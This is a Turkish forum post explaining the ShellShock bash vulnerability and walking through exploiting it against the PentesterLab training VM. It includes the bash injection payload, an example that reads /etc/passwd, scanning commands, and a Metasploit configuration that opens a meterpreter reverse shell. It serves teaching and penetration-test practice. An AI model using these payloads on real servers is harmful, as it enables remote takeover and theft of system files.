İPUCU

Siber Güvenlik Siber Güvenlik ile alakalı araçların kullanımı, bilgi paylaşımı ve siber güvenlik eğitimi ile ilgili kaynakların paylaşıldığı alanımızdır.

Seçenekler

ShellShock Zafiyeti Nedir ? // Qwx

Qwx
Qwx - ait Kullanıcı Resmi (Avatar)
Green Team (Deneyimli)
Üyelik tarihi:
04/2012
Nereden:
İzmir
Mesajlar:
2.626
Konular:
93
Teşekkür (Etti):
82
Teşekkür (Aldı):
512
Ticaret:
(0) %
3 Hafta önce
#1
ShellShock Zafiyeti Nedir ? // Qwx
ShellShock Zafiyeti (CVE-2014-6271)

ShellShock Zafiyeti Nedir ?

ShellShock, 2014 yılında keşfedilen bir güvenlik açığıdır. Güvenlik açığının kritik seviyesi 10 üzerinden 10 alırken bu güvenlik açığı sistemlerin çoğunda Bash kabuğu içerdiğinden, UNIX tabanlı bir işletim sistemi olan Linux ve Mac'leri kullanmakta olan tüm sunucu ve bilgisayarları etkiledi.

Bash'ın istemeden ortam değişkenlerinden komut çalıştırmasına neden olan bir güvenlik hatasıdır. Bu güvenlik açığından yararlanıldığında ise saldırganın sunucuda uzaktan kod yürütme olarak da bilinen komutları uzaktan vermesine olanak sağlamaktadır. Bu tür bir davranış uzak bir kabuk oluşturmak, kurbandan saldırgan sisteme SSH aracılığıyla veri kopyalamak için sömürebilir, saldırgan sunucuya HTTP istekleri yoluyla komut gönderebilir ve bunları web sunucusu işletim sistemi tarafından çalıştırılmasını sağlayabilir.

Shellshock, güvenlik açığı önemli bir sorundur çünkü uzmanlık bilgisine olan ihtiyacı ortadan kaldırır ve başka bir bilgisayarın kontrolünü ele almanın ve kodunu çalıştırmanın basit bir yolunu sağlar.

Shellshock, değişkenler "bash" adı verilen kabuğa geçirildiğinde ortaya çıkar. Bash, Linux sistemlerinde kullanılan yaygın bir kabuktur. Web sunucularının bir isteği yanıtlamak için sıklıkla başka programlar çalıştırması gerekir ve bu değişkenlerin bash veya başka bir kabuğa geçirilmesi yaygındır.


.

Bu güvenlik açığından yararlanmak için gereken tek şey ise ortam değişkeni tanımına aşağıdaki karakterleri eklemektedir

'() {:;}; <kodunuzu buraya girebilirsiniz>'

Örnek;

'() {:;}; /bin/cat /etc/passwd'

Bu durumu açıklamak gerekirse ortam değişkenlerini tanımlayan kod bölümü, ayrıcalıklı modda tanımlanıp tanımlanmadığını ve dışarıya aktarılacak bir işlev içerip içermediğini kontrol etmektedir. Bir fonksiyon için metni arayan vurgulanan kısmın sadece fonksiyonun başlangıcı ile sınırlı olmasıdır. Bir parantez çifti olup olmadığını, ardından bir açık küme parantezinin kontol edilmesi ve kodun sonunda ne olduğunu kontrol etmedi ve bu nedenle de programlayıcıya ekstra kod ekleme şansını vermiş bulunmaktadır. Fonksiyonun sonundaki parantezleri kapattıktan hemen sonra, alt fonksiyona geçecek ve fonksiyonun bir parçası olmasa bile çalıştıralacak olan ekstra komutları ekleyebilme yetkisine sahip olacağız.

ShellShock Zafiyeti Nasıl İstismar Edilir ?

ShellShock Zafiyetini test etmek için ilgili linkten makinemizi indiriyoruz.
Pentester Lab: CVE-2014-6271: ShellShock
Makinemizi açıktan sonra bizleri bu şekilde bir ekran karşılamaktadır.



Ardından IP adresini öğrenmek adına kendi makinemimizde netdiscover komutunu kullanıyoruz.



IP adresimizi elde ettikten sonra zafiyetli makinemizde açık olan portları bulmak adına bir Nmap taraması gerçekleştireceğiz.
nmap <ipadresiniz>



Nmap taramasından çıkan sonuçlara göre zafiyetli makinemizin bir adet web sitesi bulunmaktadır. Siteyi kontrol ettiğimizde kernel ve yapımcı hakkında bilgi vermektedir.



Şimdi ise bir dirb taraması gerçekleştirerek diğer dizinlerin varlığını kontrol ediyoruz. Bunun için ilgili komutumuz dirb http://<ipadresiniz>



Dirb taramasını tamamladığımızda cgi-bin dizini dikkat çekmektedir. Uzaktan erişim sağlamak adına Métasploit'de ki shellshock'u kullanacağız. Bunun için msfconsole komutu ile Métasploit'imizi açıyoruz. Métasploit açıldıktan sonra search shellshock komutu ile kullanabileceğimiz shellshock zafiyetlerini arıyoruz.



Çıkan sonuçları incelediğimiz takdirde Apache_mod_cgi modülüne shellshock zafiyetini kullanarak kod enjekte edilerek çalışan bir modüldür. Seçimimizi yapmak adına use exploit/multi/http/apache_mod_cgi_bash_env_exec komutunu giriyoruz.



Modülümüzü seçtikten sonra yapılandırma işlemi ve ardından çalıştırma işlemlerimiz gelecektir. Yapılandırma işlemi hakkında daha fazla bilgi almak için show options komutunu kullanabilirsiniz. Modülümüzü yapılandırmak için;
set LHOST <ipadresiniz>
set LPORT <portadresiniz>
set SRVPORT <portadresiniz>
set RHOSTS <ipadresi>
set TARGETURI /cgi-bin/status
set PAYLOAD linux/x86/meterpreter/reverse_tcp
run -j




Ardından run -j komutu ile çalıştırdığımız zaman aktif olan sessions'ları görmekteyiz ve ilgili oturumu seçtikten sonra uzaktan komut yazabileceğiz.



sessions -i <ID> seçtikten sonra başarılı ile giriş yapmış oluyoruz. Giriş yaptıktan sonra uzaktan bir çok komutları başarılı bir şekilde gerçekleştirmiş olacaksınız.



ShellShock Zafiyetine Nasıl Önlem Alınır ?

Sisteminiz de önlem almadan önce ilk olarak sisteminizi bu açığa karşın test edebilirsiniz.
İlk olarak env VAR='() { :;}; echo Bash Savunmasız' bash -c "echo Bash Test" eğer sisteminizde ki çıktı "Bash Savunmasız" olarak görüyorsanız, Bash sürümünüz savunmasızdır ve güncellemeniz gerekmektedir.


---------------------
A hacker does for love what others would not do for money.
Konu Qwx tarafından ( 3 Hafta önce Saat 03:11 ) değiştirilmiştir.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı